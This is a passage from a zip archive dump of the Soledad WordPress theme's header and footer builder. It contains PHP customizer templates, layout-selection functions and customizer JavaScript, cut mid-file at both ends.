			foreach ( $default_element as $element ) {
				if ( ! empty( $element ) ) {
					$template->render( 'header-element', array(
						'key'   => $element,
						'value' => $elements[ $element ]
					), true );
				}
			}
		}
		?>
    </div>
</div>
PK     N\{	"   "   *  inc/builder/customizer-template/header.phpnu [        <?php
get_header();
get_footer();
PK     N\oaH    8  inc/builder/customizer-template/header-mobile-drawer.phpnu [        <div class="header-builder-<?php echo esc_html( $row ); ?> flex-row header-builder-row"
     data-row="<?php echo esc_html( $row ); ?>">
    <div class="header-builder-row-option">
		<?php echo esc_html( ucfirst( $row ) ) . ' ' . esc_html__( 'Content', 'soledad' ); ?>
    </div>
	<?php
	$columns = array( 'center' );

	foreach ( $columns as $column ) {
		$template->render( 'header-mobile-drawer-column', array(
			'row'      => $row,
			'column'   => $column,
			'template' => $template
		), true );
	}
	?>
</div>
PK     N\v    2  inc/builder/customizer-template/header-element.phpnu [        <?php
$section_id = 'penci_header_' . $key;
if ( ! empty( $settings ) ) {
	$section_id = $settings;
}
?>
<div class="header-element <?php echo esc_attr( $key ); ?> open-section" data-element="<?php echo esc_attr( $key ); ?>"
     data-section="<?php echo esc_attr( $section_id ); ?>">
    <span class="header-element-title">
        <?php echo esc_html( $value ); ?>
    </span>
    <span class="header-element-close"></span>
</div>
PK     N\q2    <  inc/builder/customizer-template/header-mobile-column-top.phpnu [        <?php
$setting_align = "penci_hb_align_mobile_{$row}_{$column}";
$default_align = penci_get_builder_mod( $setting_align, $column );

$setting_element = "penci_hb_element_mobile_{$row}_{$column}";
$default_element = penci_get_builder_mod( $setting_element );
$default_element = explode( ',', $default_element );
?>
<div class="header-builder-<?php echo esc_html( $column ); ?> header-builder-column <?php echo esc_html( $default_align ); ?>"
     data-column="<?php echo esc_html( $column ); ?>">
    <div class="header-builder-drop-zone">
		<?php
		$elements = \HeaderBuilder::mobile_header_element();
		if ( is_array( $default_element ) ) {
			foreach ( $default_element as $element ) {
				if ( ! empty( $element ) && isset( $elements[ $element ] ) ) {
					$template->render( 'header-element', array(
						'key'   => $element,
						'value' => $elements[ $element ]
					), true );
				}
			}
		}
		?>
    </div>
</div>
PK     N\j=z  z  ?  inc/builder/customizer-template/header-mobile-column-bottom.phpnu [        <?php
$setting_align = "penci_hb_align_mobile_{$row}_{$column}";
$default_align = penci_get_builder_mod( $setting_align, $column );

$setting_element = "penci_hb_element_mobile_{$row}_{$column}";
$default_element = penci_get_builder_mod( $setting_element );
$default_element = explode( ',', $default_element );
?>
<div class="header-builder-<?php echo esc_html( $column ); ?> header-builder-column <?php echo esc_html( $default_align ); ?>"
     data-column="<?php echo esc_html( $column ); ?>">
    <div class="header-builder-drop-zone">
		<?php
		$elements = \HeaderBuilder::mobile_header_element();
		if ( is_array( $default_element ) ) {
			foreach ( $default_element as $element ) {
				if ( ! empty( $element ) ) {
					$template->render( 'header-element', array(
						'key'   => $element,
						'value' => $elements[ $element ]
					), true );
				}
			}
		}
		?>
    </div>
</div>
PK     N\	    .  inc/builder/customizer-template/header-row.phpnu [        <div class="header-builder-<?php echo esc_html( $row ); ?> flex-row header-builder-row"
     data-row="<?php echo esc_html( $row ); ?>">
    <div class="header-builder-row-option"
         data-section="penci_header_<?php echo esc_html( $row ) ?>bar_setting">
        <i class="fa fa-cog"></i> <?php echo esc_html( ucfirst( $row ) ) . ' ' . esc_html__( 'Bar', 'soledad' ); ?>
    </div>
    <div class="header-builder-row-drag-handle"><i class="fa fa-arrows"></i></div>
	<?php
	$columns = array( 'left', 'center', 'right' );
	if ( 'topblock' === $row || 'bottomblock' === $row ) {
		$columns = [ 'center' ];
	}
	foreach ( $columns as $column ) {
		$template->render( 'header-column', array(
			'row'      => $row,
			'column'   => $column,
			'template' => $template
		), true );
	}
	?>
</div>
PK     N\B)Yv        inc/builder/index.phpnu [        <?php
// nothing here
PK     N\~L  L    inc/builder/penci-builder.phpnu [        <?php

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

use Elementor\Plugin;
use SoledadFW\Customizer\CustomizerOptionAbstract;

define( 'PENCI_BUILDER_PATH', PENCI_SOLEDAD_DIR . '/inc/builder/' );
define( 'PENCI_BUILDER_URL', PENCI_SOLEDAD_URL . '/inc/builder/' );
require_once PENCI_SOLEDAD_DIR . '/inc/builder/class/template.php';
require_once PENCI_SOLEDAD_DIR . '/inc/builder/customizer/menu-callback.php';
require_once PENCI_SOLEDAD_DIR . '/inc/builder/customizer/builder_helper.php';
require_once PENCI_SOLEDAD_DIR . '/inc/builder/class/header_builder.php';
require_once PENCI_SOLEDAD_DIR . '/inc/builder/customizer/style.php';

HeaderBuilder::getInstance();

add_action(
	'init',
	function () {
		if ( class_exists( '\SoledadFW\Customizer\CustomizerOptionAbstract' ) ) {
			require_once PENCI_SOLEDAD_DIR . '/inc/builder/class/builder_panel.php';
			require_once PENCI_SOLEDAD_DIR . '/inc/builder/class/sections.php';
			\SoledadFW\HeaderBuilderCustomizer::getInstance();
		}
	}
);

if ( ! function_exists( 'penci_check_theme_mod' ) ) {
	function penci_check_theme_mod() {
		$val          = false;
		$page_data    = get_theme_mod( 'pchdbd_all' );
		$page_archive = get_theme_mod( 'pchdbd_archive' );
		$page_posts   = get_theme_mod( 'pchdbd_post' );
		$page_woo     = get_theme_mod( 'pchdbd_woocommerce' );
		$page_pages   = get_theme_mod( 'pchdbd_page' );
		$page_home    = get_theme_mod( 'pchdbd_homepage' );
		if ( ! empty( $page_data ) ) {
			$val = true;
		}
		if ( ! empty( $page_woo ) && function_exists( 'is_woocommerce' ) && ( is_woocommerce() ) ) {
			$val = true;
		}
		if ( ! empty( $page_home ) && ( is_home() || is_front_page() ) ) {
			$val = true;
		}
		if ( ! empty( $page_archive ) && is_archive() ) {
			$val = true;
		}
		if ( ! empty( $page_posts ) && is_single() ) {
			$val = true;
		}
		if ( ! empty( $page_pages ) && is_page() ) {
			$val = true;
		}
		if ( is_page() ) {

			$data_check = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );

			if ( is_array( $data_check ) && ! empty( $data_check ) && isset( $data_check['header_builder_layout'] ) && $data_check['header_builder_layout'] ) {
				$val = true;
			}
		}
		if ( is_singular() && ! is_page() ) {
			$single_check = penci_get_single_key( get_the_ID(), 'penci_header_builder_layout' );
			if ( $single_check ) {
				$val = true;
			}
		}
		if ( is_singular( 'penci_builder' ) || is_singular( 'penci-block' ) ) {
			$val = true;
		}
		if ( isset( $_GET['view-header-layout'] ) ) {
			$val = true;
		}
		if ( is_customize_preview() && isset( $_GET['layout_id'] ) ) {
			$val = true;
		}

		if ( get_theme_mod( 'penci_vertical_nav_show' ) ) {
			$val = false;
		}

		return $val;
	}
}

if ( ! function_exists( 'penci_get_header_builder_id' ) ) {
	function penci_get_header_builder_id() {
		$val          = '';
		$page_data    = get_theme_mod( 'pchdbd_all' );
		$page_archive = get_theme_mod( 'pchdbd_archive' );
		$page_posts   = get_theme_mod( 'pchdbd_post' );
		$page_woo     = get_theme_mod( 'pchdbd_woocommerce' );
		$page_pages   = get_theme_mod( 'pchdbd_page' );
		$page_home    = get_theme_mod( 'pchdbd_homepage' );
		if ( ! empty( $page_data ) ) {
			$val = $page_data;
		}
		if ( ! empty( $page_woo ) && function_exists( 'is_woocommerce' ) && ( is_woocommerce() ) ) {
			$val = $page_woo;
		}
		if ( ! empty( $page_home ) && ( is_home() || is_front_page() ) ) {
			$val = $page_home;
		}
		if ( ! empty( $page_archive ) && is_archive() ) {
			$val = $page_archive;
		}
		if ( ! empty( $page_posts ) && is_single() ) {
			$val = $page_posts;
		}
		if ( ! empty( $page_pages ) && is_page() ) {
			$val = $page_pages;
		}
		if ( is_page() ) {

			$data_check = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );

			if ( is_array( $data_check ) && ! empty( $data_check ) && isset( $data_check['header_builder_layout'] ) && $data_check['header_builder_layout'] ) {
				$val = $data_check['header_builder_layout'];
			}
		}
		if ( is_singular() && ! is_page() ) {

			$single_id = penci_get_single_key( get_the_ID(), 'penci_header_builder_layout' );

			if ( $single_id ) {
				$val = $single_id;
			}
		}

		return $val;
	}
}

if ( ! function_exists( 'penci_can_render_footer' ) ) {
	function penci_can_render_footer() {
		$render = false;

		$footer_site    = get_theme_mod( 'penci_footer_builder_layout' );
		$footer_home    = get_theme_mod( 'penci_footer_builder_layout_homepage' );
		$footer_archive = get_theme_mod( 'penci_footer_builder_layout_archive' );
		$footer_page    = get_theme_mod( 'penci_footer_builder_layout_page' );
		$footer_post    = get_theme_mod( 'penci_footer_builder_layout_post' );

		if ( ! empty( $footer_site ) ) {
			$render = true;
		}

		if ( ! empty( $footer_home ) && ( is_home() || is_front_page() ) ) {
			$render = true;
		}

		if ( is_archive() ) {

			if ( ! empty( $footer_archive ) ) {
				$render = true;
			}

			if ( is_category() ) {
				$current_cat_id   = get_query_var( 'cat' );
				$category_options = get_option( "category_$current_cat_id" );

				if ( isset( $category_options['cat_footer'] ) && is_numeric( $category_options['cat_footer'] ) ) {
					$render = true;
				} else if ( ! empty( $footer_archive ) ) {
					$render = true;
				} elseif ( ! empty( $footer_site ) ) {
					$render = true;
				}

			} else if ( ! empty( $footer_archive ) ) {
				$render = true;
			} elseif ( ! empty( $footer_site ) ) {
				$render = true;
			}

		}

		if ( ! empty( $footer_post ) && is_single() ) {
			$render = true;
		}

		if ( ! empty( $footer_page ) && is_page() ) {
			$render = true;
		}

		if ( is_singular() && ! is_page() ) {

			$single_check = penci_get_single_key( get_the_ID(), 'penci_footer_builder_layout' );

			if ( $single_check ) {
				$render = true;
			}

		}

		if ( is_page() ) {
			$data_check = get_post_meta( get_the_ID(), 'penci_pmeta_page_footer', true );
			if ( is_array( $data_check ) && ! empty( $data_check ) && isset( $data_check['footer_builder_layout'] ) && $data_check['footer_builder_layout'] ) {
				$render = true;
			}
		}

		if ( is_singular( 'penci-block' ) ) {
			$render = true;
		}

		if ( isset( $_GET['layout_id'] ) && is_customize_preview() ) {
			$render = true;
		}

		return $render;
	}
}

if ( ! function_exists( 'penci_get_builder_mod' ) ) {
	function penci_get_builder_mod( $setting, $default = '' ) {
		$header_data     = '';
		$data            = get_theme_mod( $setting, $default );
		$page_data       = get_theme_mod( 'pchdbd_all' );
		$page_archive    = get_theme_mod( 'pchdbd_archive' );
		$page_posts      = get_theme_mod( 'pchdbd_post' );
		$page_pages      = get_theme_mod( 'pchdbd_page' );
		$page_home       = get_theme_mod( 'pchdbd_homepage' );
		$page_woo        = get_theme_mod( 'pchdbd_woocommerce' );
		$customizer_save = isset( $_GET['layout_id'] ) ? (int) $_GET['layout_id'] : '';
		$header_id       = '';

		if ( ( is_home() || is_front_page() ) && $page_home ) {
			$page_home = get_page_by_path( $page_home, OBJECT, 'penci_builder' );
			$header_id = isset( $page_home->ID ) && $page_home->ID ? $page_home->ID : '';
		} elseif ( is_archive() ) {
			if ( is_category() ) {
				$current_cat_id   = get_query_var( 'cat' );
				$category_options = get_option( "category_$current_cat_id" );

				if ( isset( $category_options['cat_header_builder'] ) && $category_options['cat_header_builder'] ) {
					$page_archive = get_page_by_path( $category_options['cat_header_builder'], OBJECT, 'penci_builder' );
					$header_id    = isset( $page_archive->ID ) && $page_archive->ID != '' ? $page_archive->ID : '';
				} else if ( $page_archive ) {
					$page_archive = get_page_by_path( $page_archive, OBJECT, 'penci_builder' );
					$header_id    = isset( $page_archive->ID ) && $page_archive->ID ? $page_archive->ID : '';
				} elseif ( $page_data ) {
					$page_data = get_page_by_path( $page_data, OBJECT, 'penci_builder' );
					$header_id = isset( $page_data->ID ) && $page_data->ID ? $page_data->ID : '';
				}

			} else if ( $page_archive ) {
				$page_archive = get_page_by_path( $page_archive, OBJECT, 'penci_builder' );
				$header_id    = isset( $page_archive->ID ) && $page_archive->ID ? $page_archive->ID : '';
			} elseif ( $page_data ) {
				$page_data = get_page_by_path( $page_data, OBJECT, 'penci_builder' );
				$header_id = isset( $page_data->ID ) && $page_data->ID ? $page_data->ID : '';
			}

		} elseif ( function_exists( 'is_woocommerce' ) && is_woocommerce() && $page_woo ) {
			$page_woo  = get_page_by_path( $page_woo, OBJECT, 'penci_builder' );
			$header_id = isset( $page_woo->ID ) && $page_woo->ID ? $page_woo->ID : '';
		} elseif ( is_singular() && ! is_page() ) {
			$data_check = penci_get_single_key( get_the_ID(), 'penci_header_builder_layout' );
			if ( $data_check ) {

				if ( ! ctype_digit( $data_check ) ) {
					$page_archive = get_page_by_path( $data_check, OBJECT, 'penci_builder' );
					$data_check   = isset( $page_archive->ID ) && $page_archive->ID ? $page_archive->ID : '';
				}

				$header_id = $data_check;
			} elseif ( $page_posts ) {
				$page_posts = get_page_by_path( $page_posts, OBJECT, 'penci_builder' );
				$header_id  = isset( $page_posts->ID ) && $page_posts->ID ? $page_posts->ID : '';
			} elseif ( $page_data ) {
				$page_data = get_page_by_path( $page_data, OBJECT, 'penci_builder' );
				$header_id = isset( $page_data->ID ) && $page_data->ID ? $page_data->ID : '';
			}
		} elseif ( is_page() ) {
			$data_check = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
			if ( isset( $data_check['header_builder_layout'] ) && $data_check['header_builder_layout'] ) {
				$header_id = $data_check['header_builder_layout'];
			} elseif ( $page_pages ) {
				$page_pages = get_page_by_path( $page_pages, OBJECT, 'penci_builder' );
				$header_id  = isset( $page_pages->ID ) && $page_pages->ID ? $page_pages->ID : '';
			} elseif ( $page_data ) {
				$page_data = get_page_by_path( $page_data, OBJECT, 'penci_builder' );
				$header_id = isset( $page_data->ID ) && $page_data->ID ? $page_data->ID : '';
			}
		} elseif ( $page_data ) {
			$page_data = get_page_by_path( $page_data, OBJECT, 'penci_builder' );
			$header_id = isset( $page_data->ID ) && $page_data->ID ? $page_data->ID : '';
		}

		if ( $header_id ) {
			if ( 'all' == $setting ) {
				return get_post_meta( $header_id, 'settings_content', true );
			} else {
				$header_data = get_post_meta( $header_id, 'settings_content', true );
				$data        = isset( $header_data[ $setting ] ) && $header_data[ $setting ] !== '' ? $header_data[ $setting ] : $default;
			}
		}

		if ( is_singular( 'penci_builder' ) ) {
			if ( 'all' == $setting ) {
				return get_post_meta( get_the_ID(), 'settings_content', true );
			} else {
				$header_data = get_post_meta( get_the_ID(), 'settings_content', true );
				$data        = isset( $header_data[ $setting ] ) && $header_data[ $setting ] !== '' ? $header_data[ $setting ] : $default;
			}
		}

		if ( isset( $_GET['view-header-layout'] ) && $_GET['view-header-layout'] ) {
			if ( 'all' == $setting ) {
				return get_post_meta( $_GET['view-header-layout'], 'settings_content', true );
			} else {
				$header_data = get_post_meta( $_GET['view-header-layout'], 'settings_content', true );
				$data        = isset( $header_data[ $setting ] ) && $header_data[ $setting ] !== '' ? $header_data[ $setting ] : $default;
			}
		}

		if ( is_customize_preview() && ! empty( $customizer_save ) ) {
			$data = get_theme_mod( $setting, $default );
		}

		if ( is_array( $data ) ) {
			$data = implode( ',', $data );
		}

		if ( $data === null || $data === false || $data === '' ) {
			$data = $default;
		}

		return $data;
	}
}

function penci_builder_validate_mod( $header_data, $setting, $default = '' ) {

	$customizer_save = isset( $_GET['layout_id'] ) ? (int) $_GET['layout_id'] : '';

	if ( is_customize_preview() && ! empty( $customizer_save ) ) {
		$data = get_theme_mod( $setting, $default );
	} else {
		$data        = isset( $header_data[ $setting ] ) && $header_data[ $setting ] !== '' ? $header_data[ $setting ] : $default;
	}

	if ( is_array( $data ) ) {
		$data = implode( ',', $data );
	}

	if ( $data === null || $data === false || $data === '' ) {
		$data = $default;
	}

	return $data;
}

add_action(
	'wp_enqueue_scripts',
	function () {
		if ( penci_check_theme_mod() ) {
			if ( penci_builder_fonts_url() ) {
				wp_register_style( 'penci-header-builder-fonts', penci_builder_fonts_url(), array(), PENCI_SOLEDAD_VERSION );
			}

			// Enqueue style
			if ( ! get_theme_mod( 'penci_disable_default_fonts' ) ) {
				if ( penci_builder_fonts_url() ) {
					wp_enqueue_style( 'penci-header-builder-fonts' );
				}
				$data_fonts = penci_builder_fonts_url( 'earlyaccess' );
				if ( is_array( $data_fonts ) && ! empty( $data_fonts ) ) {
					foreach ( $data_fonts as $fontname ) {
						wp_enqueue_style( 'penci-font-' . $fontname, '//fonts.googleapis.com/earlyaccess/' . esc_attr( $fontname ) . '.css', array(), PENCI_SOLEDAD_VERSION );
					}
				}
			}
			wp_enqueue_script( 'penci-header-builder', PENCI_SOLEDAD_URL . '/inc/builder/assets/js/penci-header-builder.js', array(), PENCI_SOLEDAD_VERSION, true );
		}
	}
);

function penci_footer_builder_content_id() {
	$footer_id      = '';
	$footer_site    = get_theme_mod( 'penci_footer_builder_layout' );
	$footer_home    = get_theme_mod( 'penci_footer_builder_layout_homepage' );
	$footer_archive = get_theme_mod( 'penci_footer_builder_layout_archive' );
	$footer_page    = get_theme_mod( 'penci_footer_builder_layout_page' );
	$footer_post    = get_theme_mod( 'penci_footer_builder_layout_post' );

	if ( ( is_home() || is_front_page() ) && $footer_home ) {
		$footer_home = get_page_by_path( $footer_home, OBJECT, 'penci-block' );
		if ( isset( $footer_home->ID ) && $footer_home->ID ) {
			$footer_id = $footer_home->ID;
		}
	} elseif ( is_archive() ) {

		if ( is_category() ) {
			$current_cat_id   = get_query_var( 'cat' );
			$category_options = get_option( "category_$current_cat_id" );

			if ( isset( $category_options['cat_footer'] ) && is_numeric( $category_options['cat_footer'] ) ) {
				$footer_id = $category_options['cat_footer'];
			} else if ( $footer_archive ) {
				$footer_archive = get_page_by_path( $footer_archive, OBJECT, 'penci-block' );
				if ( isset( $footer_archive->ID ) && $footer_archive->ID ) {
					$footer_id = $footer_archive->ID;
				}
			} elseif ( $footer_site ) {
				$footer_site = get_page_by_path( $footer_site, OBJECT, 'penci-block' );
				if ( isset( $footer_site->ID ) && $footer_site->ID ) {
					$footer_id = $footer_site->ID;
				}
			}

		} else if ( $footer_archive ) {
			$footer_archive = get_page_by_path( $footer_archive, OBJECT, 'penci-block' );
			if ( isset( $footer_archive->ID ) && $footer_archive->ID ) {
				$footer_id = $footer_archive->ID;
			}
		} elseif ( $footer_site ) {
			$footer_site = get_page_by_path( $footer_site, OBJECT, 'penci-block' );
			if ( isset( $footer_site->ID ) && $footer_site->ID ) {
				$footer_id = $footer_site->ID;
			}
		}

	} elseif ( is_singular() && ! is_page() ) {
		$post_config = penci_get_single_key( get_the_ID(), 'penci_footer_builder_layout' );
		if ( $post_config ) {
			$footer_id = $post_config;
		} elseif ( $footer_post ) {
			$footer_post = get_page_by_path( $footer_post, OBJECT, 'penci-block' );
			if ( isset( $footer_post->ID ) && $footer_post->ID ) {
				$footer_id = $footer_post->ID;
			}
		} elseif ( $footer_site ) {
			$footer_site = get_page_by_path( $footer_site, OBJECT, 'penci-block' );
			if ( isset( $footer_site->ID ) && $footer_site->ID ) {
				$footer_id = $footer_site->ID;
			}
		}
	} elseif ( is_page() ) {
		$page_config = get_post_meta( get_the_ID(), 'penci_pmeta_page_footer', true );
		if ( isset( $page_config['footer_builder_layout'] ) && $page_config['footer_builder_layout'] ) {
			$footer_id = $page_config['footer_builder_layout'];
		} elseif ( $footer_page ) {
			$footer_page = get_page_by_path( $footer_page, OBJECT, 'penci-block' );
			if ( isset( $footer_page->ID ) && $footer_page->ID ) {
				$footer_id = $footer_page->ID;
			}
		} elseif ( $footer_site ) {
			$footer_site = get_page_by_path( $footer_site, OBJECT, 'penci-block' );
			if ( isset( $footer_site->ID ) && $footer_site->ID ) {
				$footer_id = $footer_site->ID;
			}
		}
	} elseif ( $footer_site ) {
		$footer_site = get_page_by_path( $footer_site, OBJECT, 'penci-block' );
		if ( isset( $footer_site->ID ) && $footer_site->ID ) {
			$footer_id = $footer_site->ID;
		}
	}

	return $footer_id;
}


function penci_footer_builder_content() {
	if ( is_singular( 'penci-block' ) || ( isset( $_GET['layout_id'] ) && is_customize_preview() ) ) {
		return;
	}
	$content   = '';
	$footer_id = penci_footer_builder_content_id();
	if ( $footer_id ) {

		if ( get_theme_mod( 'penci_footer_delayed' ) ) {
			$content .= '<div class="pcfb-footer-delayed pc-content-delayed" data-class="pcfb-wrapper" data-type="block" data-id="' . $footer_id . '"></div>';
		} else {

			$footer_content = get_post( $footer_id );

			if ( $footer_content ) {
				if ( did_action( 'elementor/loaded' ) && Plugin::$instance->documents->get( $footer_id )->is_built_with_elementor() ) {

					$edit_block_link = add_query_arg( [
						'post'   => $footer_id,
						'action' => 'elementor'
					], site_url( 'wp-admin/edit.php' ) );

					if ( is_customize_preview() ) {
						$content .= '<a href="#" data-href="' . $edit_block_link . '" class="soledad-customizer-edit-link custom-link footer-custom-link"><button><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20"><path d="M13.89 3.39l2.71 2.72c.46.46.42 1.24.03 1.64l-8.01 8.02-5.56 1.16 1.16-5.58s7.6-7.63 7.99-8.03c.39-.39 1.22-.39 1.68.07zm-2.73 2.79l-5.59 5.61 1.11 1.11 5.54-5.65zm-2.97 8.23l5.58-5.6-1.07-1.08-5.59 5.6z"/></svg></button></a>';
					}
					$content .= '<div id="footer-section-container" class="pcfb-wrapper">';
					$content .= penci_get_elementor_content( $footer_id );
					$content .= '</div>';
				} else {
					$content .= '<div id="footer-section-container" class="pcfb-wrapper js-composer-content">';
					$content .= do_shortcode( $footer_content->post_content );

					$shortcodes_custom_css = get_post_meta( $footer_id, '_wpb_shortcodes_custom_css', true );

					$content .= '<style data-type="vc_shortcodes-custom-css">';
					if ( ! empty( $shortcodes_custom_css ) ) {
						$content .= $shortcodes_custom_css;
					}
					$content .= '</style>';
					$content .= '</div>';
				}
			}
		}
	}

	echo $content;
}

if ( ! function_exists( 'penci_builder_header_list' ) ) {
	function penci_builder_header_list() {
		$header_layout  = array( '' => '- Select -' );
		$header_layouts = get_posts(
			array(
				'post_type'      => 'penci_builder',
				'posts_per_page' => - 1,
			)
		);
		foreach ( $header_layouts as $header_builder ) {
			$header_layout[ $header_builder->post_name ] = $header_builder->post_title;
		}

		return $header_layout;
	}
}

if ( ! function_exists( 'penci_builder_block_list' ) ) {
	function penci_builder_block_list( $r = false ) {

		if ( $r ) {
			$builder_layout = array( '- Select -' => '' );
		} else {
			$builder_layout = array( '' => '- Select -' );
		}

		$builder_layouts = get_posts(
			array(
				'post_type'      => 'penci-block',
				'posts_per_page' => - 1,
			)
		);

		foreach ( $builder_layouts as $builder_builder ) {
			if ( $r ) {
				$builder_layout[ $builder_builder->post_title ] = $builder_builder->post_name;
			} else {
				$builder_layout[ $builder_builder->post_name ] = $builder_builder->post_title;
			}
		}

		return $builder_layout;
	}
}

function penci_is_active_header_builder() {
	return function_exists( 'penci_check_theme_mod' ) && penci_check_theme_mod() ? penci_check_theme_mod() : '';
}PK     N\x(    #  inc/builder/assets/js/customizer.jsnu [        (function ($, api) {
    "use strict";

    api.Panel = api.Panel.extend({
        expand: function (params) {
            var panel = this.container[1];

            if (panel.id === 'sub-accordion-panel-header_builder_config') {
                $('body').trigger('penci-open-header-builder');
            }

            return this._toggleExpanded(true, params);
        }
    });

})(jQuery, wp.customize);
PK     N\    '  inc/builder/assets/js/header-builder.jsnu [        !function (e, n) {
    "use strict";
    var t = n("body");

    function a(e, n) {
        return n.substr(0, e.length) == e
    }

    function i(e) {
        var t = n(e),
            a = t.parents(".header-builder-column").data("column");
        return [t.parents(".header-builder-row").data("row"), a, t.parents(".header-builder-device").data("device")]
    }

    function o(t, a) {
        var i = e.control(t);
        i && n(i.container.find("select")).selectize()[0].selectize.setValue(a, !0);
        var o = e.instance(t);
        o && o.set(a)
    }

    function r(e, n, t, a, i) {
        o(n + "_" + e + "_" + t + "_" + a, i)
    }

    function s() {
        n("[data-section^=penci]").on("click", (function () {
            !function (t) {
                var i = n(t),
                    o = i.data("section"),
                    r = "",
                    s = i.parents(".header-builder-device").data("device");
                if ("penci_header_ads" === o) r = "penci_ads_header_section";
                else if (a("penci_header_html", o)) r = "penci_header_html_section";
                else if (a("penci_header_button", o)) r = "penci_header_button_section";
                else if (a("penci_header_verticalmenu", o)) r = "penci_header_vertical_menu_section";
                else if (a("penci_header_search_icon", o)) {
                    if ("mobile" === s) return void d("penci_header_search_icon_section[penci_header_search_icon_mobile]");
                    r = o + "_section"
                } else r = o + "_section";
                var c = e.section(r);
                c && c.focus()
            }(this)
        })), n("[data-control^=penci]").on("click", (function () {
            d(this)
        }))
    }

    function d(t) {
        var a = "string" == typeof t ? t : n(t).data("control"),
            i = /([^[]+)\[([^\]]+)\]/g;
        if (a.match(i)) {
            var o = i.exec(a),
                r = e.section(o[1]);
            if (r.loaded) c(o[2]);
            else r.expand();
        } else c(a)
    }

    function c(n) {
        var t = e.control(n);
        t && t.focus()
    }

    function l() {
        t.addClass("header-builder-open")
    }

    function u() {
        t.removeClass("header-builder-open")
    }

    function h(e, t, a, i) {
        var o = n("[data-device='" + e + "'] [data-row='" + t + "'] [data-column='" + a + "'] [data-align='" + i + "']"),
            r = o.parents(".header-builder-column");
        o.parent().find("> li").removeClass("active"), o.addClass("active"), r.removeClass("left center right").addClass(i)
    }

    function _(e, t, a, i) {
        var o = n("[data-device='" + e + "'] [data-row='" + t + "'] [data-column='" + a + "'] [data-display='" + i + "']");
        o.parent().find("> li").removeClass("active"), o.addClass("active"), o.parents(".header-builder-column").removeClass("grow normal").addClass(i)
    }
    
    function flex(e, t, a, i) {
        var o = n("[data-device='" + e + "'] [data-row='" + t + "'] [data-column='" + a + "'] [data-flex='" + i + "']");
        o.parent().find("> li").removeClass("active"), o.addClass("active"), o.parents(".header-builder-column").removeClass("row column").addClass(i)
    }

    function f(e) {
        var t = n(e),
            a = t.parents(".header-builder-device").find(".header-builder-list");
        t.find(".header-element").appendTo(a)
    }

    function v(e) {
        if ((e = e.hasClass("header-builder-drop-zone") ? e : e.parents(".header-builder-drop-zone")).hasClass("header-builder-list")) return null;
        var t = [],
            a = i(e);
        e.find(".header-element").each((function () {
            t.push(n(this).data("element"))
        })), r(a[2], "penci_hb_element", a[0], a[1], t)
    }

    function p(e, t, a, i) {
        var o = n("[data-device='" + e + "'] [data-row='" + t + "'] [data-column='" + a + "']"),
            r = o.find(".header-builder-drop-zone ");
        f(o), n.each(i, (function (t, a) {
            (function (e, t) {
                return n("[data-device='" + e + "'] [data-element='" + t + "']")
            })(e, a).appendTo(r)
        }))
    }

    function m() {
        n(".header-builder-wrapper").sortable({
            handle: ".header-builder-row-drag-handle", cancel: ".header-builder-top", update: function () {
                var e;
                e = [], n("[data-device='desktop'] .header-builder-row").each((function () {
                    e.push(n(this).data("row"))
                })), o("penci_hb_arrange_bar", e)
            }, beforeStop: function (e, t) {
                var a, i = n(t.placeholder).index(),
                    can_move = '',
                    o = n(t.item).data("row");
                can_move = "mid" === o || "bottom" === o, 1 === i && can_move && (n(this).sortable("cancel"), a = "Unable to move <strong>Middle Bar & Bottom Bar</strong> above <strong>Top Bar</strong>", n(".warning-text").html(a), n(".header-builder-warning").fadeIn("fast"), n(".close-warning").on("click", (function () {
                    n(this).parents(".header-builder-warning").fadeOut("fast")
                })))
            }
        })
    }

    n((function () {
        t.on("penci-open-header-builder", l), n(".top-menu.close").on("click", (function () {
            u()
        })), n(".header-builder-open").on("click", l), n(".device-mode > div").on("click", (function () {
            n(".devices .preview-" + n(this).data("mode")).click()
        })), n(".desktop-mode li").on("click", (function () {
            var e = n(this).data("desktop-mode");
            n(".wp-full-overlay").removeClass("sticky normal").addClass(e)
        })), n(".mobile-mode li").on("click", (function () {
            var e = n(this).data("mobile-mode");
            n(".wp-full-overlay").removeClass("mobile_menu drawer").addClass(e)
        })), m(), n(".header-column-option-align li").on("click", (function (e) {
            var t = n(this);
            if (!t.hasClass("active")) {
                var a = i(this),
                    o = t.data("align");
                h(a[2], a[0], a[1], o), r(a[2], "penci_hb_align", a[0], a[1], o)
            }
        })), n(".header-column-option-display li").on("click", (function (e) {
            var t = n(this);
            if (!t.hasClass("active")) {
                var a = i(this),
                    o = t.data("display");
                _(a[2], a[0], a[1], o), r(a[2], "penci_hb_display", a[0], a[1], o)
            }
        })), n(".header-column-option-flex li").on("click", (function (e) {
            var t = n(this);
            if (!t.hasClass("active")) {
                var a = i(this),
                    o = t.data("flex");
                flex(a[2], a[0], a[1], o), r(a[2], "penci_hb_flex", a[0], a[1], o)
            }
        })), n(".header-builder-drop-zone").sortable({
            items: ".header-element",
            connectWith: ".header-builder-drop-zone",
            update: function (e, n) {
                null !== n.sender && v(n.sender), v(n.item)
            }
        }), n(".header-element-close").on("click", (function () {
            var e = n(this),
                t = e.parent(),
                a = t.parent(),
                i = e.parents(".header-builder-body").find(".header-builder-list");
            t.appendTo(i), v(a)
        })), s(), n("#customize-header-actions").append("<div class='penci-btn-header-builder'><i class='fa fa-bars'></i></div>"), n(".penci-btn-header-builder").on("click", (function () {
            t.hasClass("header-builder-open") ? u() : l()
        }))
    }))

    n('body').on('click', '.header-setting', (function (e) {
       e.preventDefault();
       var t = n(this).closest('.header-builder-column');

       t.toggleClass('active');
    }));
}(wp.customize, jQuery);
PK     N\)    (  inc/builder/assets/js/control-default.jsnu [        (function(api){
    "use strict";

    /**
     * Extend control functionality
     *
     * @param control
     * @param id
     * @param options
     */
    window.extendControl = function(control, id, options){
        // need to fetch default setting used for control
        var setting = options.params.settings.default;

        // Post Parameter (post var)
        api.previewerSync.registerRedirectTag(setting, options.params.postvar);

        // Style Output
        api.previewerSync.registerStyleOutput(setting, options.params.default, options.params.output);

        // only Register Partial Refresh when control created dynamically
        if(options.params.dynamic) {
            api.previewerSync.registerPartialRefresh(setting, control.section.get(), options.params.partial_refresh)
        }

        // Active Callback
        api.activeCallback.registerActiveRule(control, options.params.active_rule);
    };

    /**
     * Initialize control
     *
     * @param control
     * @param id
     * @param options
     */
    window.initializeControl = function(control, id, options){
        var sectionId = options.params.section;

